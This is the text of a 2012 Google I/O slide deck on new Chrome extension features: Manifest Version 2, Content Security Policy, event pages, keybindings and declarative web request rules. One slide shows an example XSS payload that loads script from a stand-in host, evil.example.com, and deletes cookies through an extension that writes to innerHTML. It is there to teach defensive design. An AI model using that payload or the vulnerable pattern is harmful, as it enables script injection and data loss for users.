



What's next for Chrome Extensions?

Video: youtu.be/x9KOS1VQgqQ

Mike West
Developer Advocate, Google
<https://mkw.st/+>

Extensions Today

Powerful, widely used, and well-loved



source: [Google Chrome Comic, pg. 30](#)



#io12 #crx

What's next for Chrome Extensions

Chrome Web Store - Clear Cache


← → ↻

https://chrome.google.com/webstore/detail/cppjkneekbjaeellbfkmgnhonkkjfpdn

☆ ♻️ ⚙️

chrome web store

Sign in ⚙️



Clear Cache

★★★★★ (14) | [Developer Tools](#) | [from Benjamin Bojko](#) | 3,995 users

ADDED TO CHROME


⌵


OVERVIEW

DETAILS


REVIEWS

RELATED



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27



Cache

min Bojko, Icons from IconSweets2

☆ ♻️ ⚙️

Clear your cache and browsing data with a single click of a button.

Quickly clear your cache with this extension without any confirmation dialogs, pop-ups or other annoyances.


This extension takes advantage of the freshly released features of Chrome 19 allowing it to clear your browsing data without the usual dialogs and pop-ups.

You can customize what and how much of your data you want to clear on the options page, including: App Cache, Cache, Cookies*, Downloads, File Systems, Form Data, History, Indexed DB, Local Storage, Origin Bound Certificates, Plugin Data, Passwords and WebSQL.

* Cookies can either be removed globally, only for certain domains or for everything except for certain domains.

Extensions Today

Not as trim as we'd like



source: [Google Chrome Comic, pg. 8](#)



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of a button.

n dialogs, pop-ups or other

rome 19 allowing it to clear your

ar on the options page, including:
story, Indexed DB, Local Storage,

r for everything except for certain

 [Support](#)

 [Report Bug](#)

 [Report Abuse](#)

Version: 0.3.2.0

Updated: Wednesday, June 13, 2012

Language: English

 This extension can access:

- Your data on all websites
- Your tabs and browsing activity

[Learn more](#)

Extensions Today

Secure, but a tempting target



source: [Google Chrome Comic, pg. 25](#)



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Manifest Version 2

Tightening up security, by default.

XSS Attacks

```
var data = document.getElementById('data');  
chrome.extension.sendRequest({toProcess: data.innerHTML});
```

INJECTED SCRIPT

```
chrome.extension.onRequest(function(request) {  
  // Process 'dg's contents: displaying them in the extension's popup.  
  var dg = document.getElementById('dumpingGround');  
  dg.innerHTML = request;  
});
```

BACKGROUND PAGE

```
<address id="data">  
  <script src="http://evil.example.com/hax0r.js"></script>  
  <script>chrome.browsingData.removeCookies({since: 0 });</script>  
</address>
```

WEBSITE

“...banning HTTP scripts and banning inline scripts would prevent **94%** of the core extension vulnerabilities...”

Nicholas Carlini, Adrienne Porter Felt, and David Wagner
University of California, Berkeley <http://goo.gl/l4Maf>



Manifest Version 2

- Introduced in Chrome 18, and ready for you to migrate into.
- Some API cleanup, alongside two big changes: a default Content Security Policy, and Web Accessible Resources
- Manifest Version 1 is deprecated, and new APIs will generally require the new manifest version.

MANIFEST.JSON

```
{  
  "name": "Awesome Extension",  
  ...  
  "manifest_version": 2,  
  ...  
}
```

Manifest Version 2: Structural Changes

background property is becoming slightly smarter:

```
{
  ...
  "background": {
    "page": ["main.html"],
    /* OR */
    "scripts": ["library.js", "main.js"]
  }
  ...
}
```

MANIFEST.JSON

chrome.extension.getTabContentses is gone, use chrome.extension.getViews({
"type": "tab" }) instead.

Web Accessible Resources

Resources are hidden from websites unless explicitly whitelisted:

```
{  
  ...  
  "manifest_version": 2,  
  "web_accessible_resources": ["public.png"],  
  ...  
}
```

MANIFEST.JSON

```
<!-- Loads! -->  
  
<!--Fails! -->  

```

HTTP://EXAMPLE.COM/

Content Security Policy

Mitigate the risk of XSS and other attacks by whitelisting origins allowed to deliver resources to a page.

You can (and should!) define a policy for your websites via an HTTP header, and for your extensions via the manifest:

```
{  
  ...  
  "content_security_policy": "script-src 'self';  
                             object-src 'none';  
                             img-src https:",  
  ...  
}
```






Content Security Policy: Details

[HOME](#) [POSTS & TUTORIALS](#) [HTML5 FEATURES](#) [SLIDES](#) [RESOURCES](#) [WHY HTML5?](#) [WHO WE ARE](#) [CONTRIBUTE](#) [goo.gl/HjT6u](#)

HTML5 ROCKS TUTORIALS

AN INTRODUCTION TO CONTENT SECURITY POLICY

By [Mike West](#)
Published June 15, 2012
Updated June 15, 2012

SUPPORTED BROWSERS:     

4 Comments and 2 Reactions




 +1 46  Like 13  Tweet 0


TABLE OF CONTENTS

- Source Whitelists
 - Policy applies to a wide variety of resources
- Implementation Details
 - Sandboxing
- Inline Code Considered Harmful
- Eval Too
- Reporting
 - Report-Only
- Real World Usage
 - 1lec Case #1: Social media widgets

Caution: This article discusses APIs that are not yet fully standardized and still in flux. Be cautious when using experimental APIs in your own projects.

The web's security model is rooted in the *same origin policy*. Code from `https://mybank.com` should only have access to `https://mybank.com`'s data, and `https://evil.example.com` should certainly never be allowed access. Each origin is kept isolated from the rest of the web, giving developers a safe sandbox in which to build and play. In theory, this is perfectly brilliant. In practice, attackers have found clever ways to subvert the system.

Cross-site scripting (XSS) attacks, for example, bypass the same origin policy by tricking a site into delivering malicious code along with the intended content. This is a huge problem,

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14/49

Default Content Security Policy

CSP

```
script-src 'self'; object-src 'self'
```

Impacts:

- No JavaScript from third-party servers
- No objects (Flash, etc) from third-party servers
- No inline JavaScript (script tags, inline event handlers, javascript: URLs, etc)
- No eval (including new Function(), setInterval([STRING], ...), and setTimeout([STRING], ...))
- No XSS attacks (ideally)

Content Security Policy: Third-party Resources

If you have a need for third-party JavaScript or Flash, you may loosen the policy to include HTTPS (but not HTTP) origins:

CSP

```
script-src 'self' https://ssl.google-analytics.com; object-src https:
```

We'd be thrilled if you locked things down even further when possible:

CSP

```
default-src 'none'; img-src https://my.example.com; script-src 'self'
```

Content Security Policy: Inline JavaScript

This policy can't be loosened. The following code would need to be adjusted:

```
<script>  
  function doSomethingAmazing() {  
    alert("WARNING: AMAZINGNESS OVERLOAD!");  
  }  
</script>  
<button onclick="doSomethingAmazing();">Amazing!</button>
```

POPUP.HTML

Content Security Policy: Inline JavaScript

```
function doSomethingAmazing() {  
  alert("WARNING: AMAZINGNESS OVERLOAD!");  
}
```

AMAZINGNESS.JS

```
document.addEventListener('DOMContentLoaded', function () {  
  var b = document.getElementById('amazing')  
  b.addEventListener('click', doSomethingAmazing);  
});
```

```
<script src="js/amazingness.js"></script>  
<button id="amazing">Amazing!</button>
```

POPUP.HTML


Content Security Policy: Eval

This policy cannot be loosened. Please don't use `eval`.

That said, many of you have legitimate use cases that this policy breaks. Templating libraries are a great example. We'd like to offer an alternative.

```
{  
  ...  
  "sandbox": {  
    "pages": ["sandbox.html"]  
  },  
  ...  
}
```

MANIFEST.JSON



Content Security Policy: Sandbox

Step 1: Add an `iframe` to your background page.

```
<!doctype html>
<html>
  <head>
    <script src="main.js"></script>
  </head>
  <body>
    <iframe id="iframe" src="sandbox.html"></iframe>
  </body>
</html>
```

EVENTPAGE.HTML

Content Security Policy: Sandbox

Step 2: Fill that `iframe` with templating goodness.

```
<!doctype html>
<html>
  <head>
    <script src="handlebars-1.0.0.beta.6.js"></script>
  </head>
  <body>
    <script id="tmpl" type="text/x-handlebars-template">
      <div class="entry">
        <h1>Hello, {{thing}}!</h1>
      </div>
    </script>
    <script src="sandbox.js"></script>
  </body>
</html>
```

SANDBOX.HTML

Content Security Policy: Sandbox

Step 3: Do a tiny bit of heavy lifting with message events.

```
var source = document.getElementById('tmpl').innerHTML;  
var template = Handlebars.compile(source);
```

SANDBOX.JS

```
// Set up message event handler:  
window.addEventListener('message', function(event) {  
  var command = event.data.command;  
  switch(command) {  
    case 'render':  
      event.source.postMessage({  
        name: name,  
        html: template(event.data.context)  
      }, event.origin);  
      break;  
    ...  
  }  
});
```

Content Security Policy: Sandbox

Step 4: Post messages to the `iframe` to safely evaluate code.

```
chrome.browserAction.onClicked.addListener(function() {  
  var iframe = document.getElementById('iframe');  
  iframe.contentWindow.postMessage({command: 'render',  
                                    context: {thing: 'world'}}), '*');  
});  
  
window.addEventListener('message', function(event) {  
  if (event.data.html) {  
    console.log("HTML Received for '%s': `%s`", event.data.name,  
              event.data.html);  
  }  
});
```

MAIN.JS

Manifest Version 1: Support Schedule

- **Chrome 21:** No new extensions built using manifest version 1 can be uploaded to the Chrome Web Store (existing extensions will be grandfathered in).
- **Chrome 23:** Chrome will stop packaging manifest version 1 extensions.
- **Q1 2013:** Manifest version 1 items will no longer appear in search results.
- **Q2 2013:** Manifest version 1 items will be unpublished from the store.
- **Q3 2013:** Chrome will no longer run manifest version 1 items, period.



The (Nearish) Future

Do more, while requesting less



source: "60's Chainsaw Blade Shot" - kimmo tirkkonen (<http://goo.gl/XytYN>) - license: CC BY



BROWSER

DEVICES


WEB STORE


Get a fast, free web browser

Google Chrome runs websites and applications with lightning speed.

[Download Chrome](#)


For Mac OS X 10.5 or later, Intel only





Event Pages

There when you need them, gone when you don't.



Event Pages: Opt-In

MANIFEST.JSON

```
{
  "name": "Event Pages!",
  "description": "An extension with an event page.",
  "manifest_version": 2,
  ...
  "background": {
    "scripts": ["main.js"],
    "persistent": false
  },
  ...
}
```

Event Pages: Background Page Lifecycle

MAIN.JS

```
// On installation or update, set the count to 0.
chrome.runtime.onInstalled.addListener(function() {
  chrome.storage.sync.set({'clickCount': 0});
});

// Increment the counter when clicking the browserAction.
chrome.browserAction.onClicked.addListener(function() {
  chrome.storage.sync.get('clickCount', function(items) {
    chrome.browserAction.setBadgeText({text: items.clickCount + 1 + ""});
    chrome.storage.sync.set({clickCount: items.clickCount + 1});
  });
});

// Remove the count when the background page is killed.
chrome.runtime.onSuspend.addListener(function() {
  chrome.browserAction.setBadgeText({text: ''});
});
```

Event Pages: Alarms

MAIN.JS

```
// Wake me up with an 'onAlarm' event in 5 minutes:
chrome.alarms.create('alarm1', {delayInMinutes: 5});

// Wake me up every 10 minutes:
chrome.alarms.create('alarm2', {periodInMinutes: 10});

// Wake me up at exactly 11:30 on July 27th, 2012.
chrome.alarms.create('alarm3',
    {when: (new Date(2012, 6, 27, 11, 30, 0)).getTime()});
    // ^^^      milliseconds since the epoch      ^^^

// Handle the onAlarm event.
chrome.alarms.onAlarm.addListener(function(alarm) {
    if (alarm.name === 'alarm1')
        // Do something amazing!
    else if (alarm.name === 'alarm2')
        // Do something amazing, repeatedly!
    else if (alarm.name === 'alarm3')
        // Present the future of Chrome extensions at I/O.
});
```



Keybindings

Binding global keyboard shortcuts is, currently, a mess:

- Request host permissions to the entire internet
- Inject a content script that listens for keypresses
- Fervently hope that things don't break

We can do better.

Keybinding API: Declaration

MANIFEST.JSON

```
{ ...,
  "manifest_version": 2,
  "permissions": [ "keybinding" ],
  "commands": {
    "my-custom-command": {
      "description": "Do something customly brilliant.",
      "suggested-key": {
        "default": "Ctrl+Shift+T",
        "linux": "Alt+Y"
      }
    },
    "_execute_browser_action": {
      "suggested_key": {
        "default": "Ctrl+Shift+O",
        "windows": "Alt+O"
      }
    }
  },
  ... }
```

Keybinding API: Execution

MAIN.JS

```
chrome.experimental.keybinding.onCommand.addListener(function(command) {  
  if (command === 'my-custom-command')  
    // Respond gracefully to your user's request.  
});
```

POPUP.JS


```
document.addEventListener('DOMContentLoaded', function() {  
  // Do something in response to your popup opening.  
});
```

Keybinding API: TODOs

Mac support is coming soon.

Conflicts: First installation wins at the moment. A UI for adjusting shortcuts is coming.






source: "network bugs? web crawler?" - Scott Swigart (<http://goo.gl/okmEx>) - license: CC BY

Declarative Web Request API

```
var cancelable = new regexp("evil=1$");
chrome.webrequest.onbeforerequest.addListener(function(details) {
  return {cancel: cancelable.test(details.url)};
},
{urls: ["<all_urls>"]},
["blocking"]);
```

JAVASCRIPT




Declarative Web Request API

JAVASCRIPT

```
var cancelable = new regexp("evil=1$");  
chrome.webrequest.onbeforerequest.addListener(function(details) {  
    return {cancel: cancelable.test(details.url)};  
},  
{urls: ["<all_urls>"]},  
["blocking"]);
```





Histogram: Extensions.**NetworkDelay** recorded 1015 samples, average = 285.1 (flags = 0x1)

0	-----O	(2 = 0.2%)
1	O	(0 = 0.0%) {0.2%}
2	-----O	(5 = 0.5%) {0.2%}
3	-----O	(12 = 1.2%) {0.7%}
4	-----O	(10 = 1.0%) {1.9%}
5	-----O	(17 = 1.7%) {2.9%}
6	-----O	(19 = 1.9%) {4.5%}
7	-----O	(20 = 2.0%) {6.4%}
8	-----O	(52 = 5.1%) {8.4%}
10	-----O	(63 = 6.2%) {13.5%}
12	-----O	(34 = 3.3%) {19.7%}
14	-----O	(41 = 4.0%) {23.1%}
17	-----O	(42 = 4.1%) {27.1%}
20	-----O	(39 = 3.8%) {31.2%}
24	-----O	(30 = 3.0%) {35.1%}
29	-----O	(27 = 2.7%) {38.0%}
34	-----O	(31 = 3.1%) {40.7%}
40	-----O	(38 = 3.7%) {43.7%}
48	-----O	(26 = 2.6%) {47.5%}
57	-----O	(44 = 4.3%) {50.0%}
68	-----O	(25 = 2.5%) {54.4%}
81	-----O	(33 = 3.3%) {56.8%}
96	-----O	(19 = 1.9%) {60.1%}
114	-----O	(19 = 1.9%) {62.0%}
135	-----O	(14 = 1.4%) {63.8%}
160	-----O	(11 = 1.1%) {65.2%}
190	-----O	(14 = 1.4%) {66.3%}
226	-----O	(14 = 1.4%) {67.7%}
268	-----O	(21 = 2.1%) {69.1%}
318	-----O	(41 = 4.0%) {71.1%}
378	-----O	(30 = 3.0%) {75.2%}
449	-----O	(32 = 3.2%) {78.1%}
533	-----O	(21 = 2.1%) {81.3%}
633	-----O	(36 = 3.5%) {83.3%}
752	-----O	(23 = 2.3%) {86.9%}
894	-----O	(30 = 3.0%) {89.2%}
1062	-----O	(20 = 2.0%) {92.1%}
1262	-----O	(15 = 1.5%) {94.1%}
1500	-----O	(33 = 3.3%) {95.6%}
1782	-----O	(12 = 1.2%) {98.8%}
2117	...	

Declarative Web Request API

```
{  
  ...  
  "manifest_version": 2,  
  "permissions": ["declarativeWebRequest", /* HOST PERMISSIONS */,  
  ...  
}
```

MANIFEST.JSON

```
var rule = {  
  conditions: [  
    new chrome.declarativeWebRequest.RequestMatcher({  
      url: { hostSuffix: 'evil.example.com' } } ),  
  ],  
  actions: [  
    new chrome.declarativeWebRequest.CancelRequest()  
  ]};  
chrome.declarativeWebRequest.onRequest.addRules([rule]);
```

MAIN.JS

Declarative Web Request: Conditions

http://evil.example.com:80/onemillion.js?million=billion

```
new chrome.declarativeWebRequest.RequestMatcher({  
  url: { urlEquals: 'http://evil.example.com/onemillion.js?million=billion'],  
        port: [80] } });
```

JAVASCRIPT

Declarative Web Request: Actions

JAVASCRIPT

```
var rule = {  
  conditions: [  
    new chrome.declarativeWebRequest.RequestMatcher({  
      url: { hostSuffix: 'evil.example.com' } } ),  
  ],  
  actions: [  
    new RedirectByRegEx({from: "^http://(.*)$", to: "https://$1"}),  
    new RedirectByRegEx({from: "^gopher://[^/]+/(.*)$",  
                        to: "http://gopherproxy.example.com/$1"})  
    // RedirectRequest("http://notevil.example.com/")  
    // RedirectToTransparentImage()  
    // RedirectToEmptyDocument()  
  ]};
```

Declarative Web Request: Actions

JAVASCRIPT

```
var rule = {  
  conditions: [  
    new chrome.declarativeWebRequest.RequestMatcher({  
      url: { hostSuffix: 'evil.example.com' } })),  
  ],  
  actions: [  
    new SetResponseHeader("Content-Security-Policy",  
                          "script-src 'none';"),  
    new SetRequestHeader("User-Agent",  
                        "Sekrit Browser (KHTML, like Gecko)" ),  
    new RemoveResponseHeader("Cache-Control"),  
    new RemoveRequestHeader("If-Modified-Since")  
  ]};
```

Declarative Web Request: Actions

JAVASCRIPT

```
var rule = {  
  conditions: [  
    new chrome.declarativeWebRequest.RequestMatcher({  
      url: { hostSuffix: 'evil.example.com' } } ),  
  ],  
  "priority": 1000,  
  actions: [  
    // new Action1(...),  
    // new Action2(...),  
    new IgnoreRules({ lowerPriorityThan: 1000 })  
  ]};
```

Active Tab Permission

```
{  
  ...  
  "manifest_version": 2,  
  "permissions": ["activeTab", "tabs"],  
  ...  
}
```

MANIFEST.JSON

```
chrome.browserAction.onClicked.addListener(function(tab) {  
  chrome.tabs.executeScript({  
    code: "alert('Executed script without host privileges!');"  
  });  
});
```

MAIN.JS

`activeTab` will grant temporary access to a page, significantly reducing the base level of permission required.



So, what now?

- Start migrating to `manifest_version 2`. Report issues either to `chromium-extensions@chromium.org`, or at new.crbug.com
- Take a look at the new APIs.
- Start experimenting in channels (no `experimental` flag)
- Tell us your pain points.



<Thank You!>

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